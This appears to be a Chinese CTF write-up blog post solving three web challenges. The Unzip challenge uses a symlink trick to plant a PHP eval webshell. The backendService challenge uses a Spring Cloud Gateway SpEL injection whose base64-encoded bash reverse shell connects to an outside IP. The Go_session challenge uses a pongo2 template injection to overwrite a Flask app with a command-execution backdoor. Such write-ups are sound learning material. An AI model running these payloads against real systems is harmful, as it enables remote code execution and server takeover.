# Unzip

# 题目描述

# 解题

unzip -o 参数:不经提示直接覆盖已有文件

  1. 创建软链接

    ln -s /var/www/html test
  2. 压缩软链接,保留原本链接内容

    zip --symlinks test.zip ./*
  3. 上传文件

  4. 本地创建 test 目录(因为上面使用的是 test,之后覆盖的时候也会覆盖 test),并创建 shell.php

    <?php echo eval($_GET['a']);?>
  5. 之后压缩 test 目录,再次上传

    • 由于题目使用的是 - o 参数 ,解压同一个文件的时候会覆盖掉上次传的 test 文件,但是 test 文件指向的是 /var/www/html 目录,就回导致 shell.php 创建在 /var/www/html 目录下。
  6. 在 url 直接访问 shell.php

# backendService

nacos 创建用户

使用新建的用户登陆

添加配置如下:

spring:
  cloud:
    gateway:
      routes:
        - id: exam
          order: 0
          uri: lb://service-provider
          predicates:
            - Path=/echo/**
          filters:
            - name: AddResponseHeader
              args:
                name: result
                value: "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"/bin/bash\",\"-c\",\"echo YmFzaCAtaSAmPiAvZGV2L3RjcC8zOS4xMDUuMTM0LjE5OS82NjY2IDA8JjE= | base64 -d | bash -i\"}).getInputStream())).replaceAll('\n','').replaceAll('\r','')}"

YmFzaCAtaSAmPiAvZGV2L3RjcC8zOS4xMDUuMTM0LjE5OS82NjY2IDA8JjE= 换成对应的服务器。

使用命令 nc -lvnp 6666 在服务器监听。

QQ_1752207423735

# Go_session

可以利用 ssti,这里可以查一下 pongo 的语法

构造数据包(这里用别人的了):

GET /admin?name=<!--swig0--> HTTP/1.1
Host: 10c4afc1-8310-4909-8c69-deb5db26d21e.challenge.ctf.show
Cookie: session-name=MTc1MjIzNjY2NXxEWDhFQVFMX2dBQUJFQUVRQUFBal80QUFBUVp6ZEhKcGJtY01CZ0FFYm1GdFpRWnpkSEpwYm1jTUJ3QUZZV1J0YVc0PXxIuJZ_tujChWmB6KOtjoB3FbGxQ1aBtVNXYPNlA4E9bQ==
Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8
User-Agent: file
Referer: /app/server.py
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data;boundary=----WebKitFormBoundaryUQT5N00lcNa5pAVX
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Length: 360
------WebKitFormBoundaryUQT5N00lcNa5pAVX
Content-Disposition: form-data; name="file"; filename="1"
from flask import Flask
import os
app = Flask(__name__)
@app.route('/<cmd>')
def exp(cmd):
	return os.popen(cmd).read()
if __name__ == '__main__':
	app.run(host="0.0.0.0", port=5000, debug=True)
------WebKitFormBoundaryUQT5N00lcNa5pAVX--

// 危险的做法
tpl.Execute (pongo2.Context {“c”: c}) 由于这里传递了 gin 的 context 对象。所以我们能够使用,它上面有一个名为 SaveUploadedFile 的方法。

这个方法的作用是保存一个上传的文件。它通常需要两个参数:

  • 参数 1: 要保存的那个文件对象( *multipart.FileHeader 类型)。
  • 参数 2: 要把文件保存到哪里去的目标路径( string 类型)。

注意:一定要一次成功不然 flask 环境就崩溃了,最好详细检查一下代码的缩进问题。

之后通过 flask 的 name 参数调用 env,查看环境变量:

更新于 阅读次数

请我喝[茶]~( ̄▽ ̄)~*

尘落 微信支付

微信支付

尘落 支付宝

支付宝

尘落 贝宝

贝宝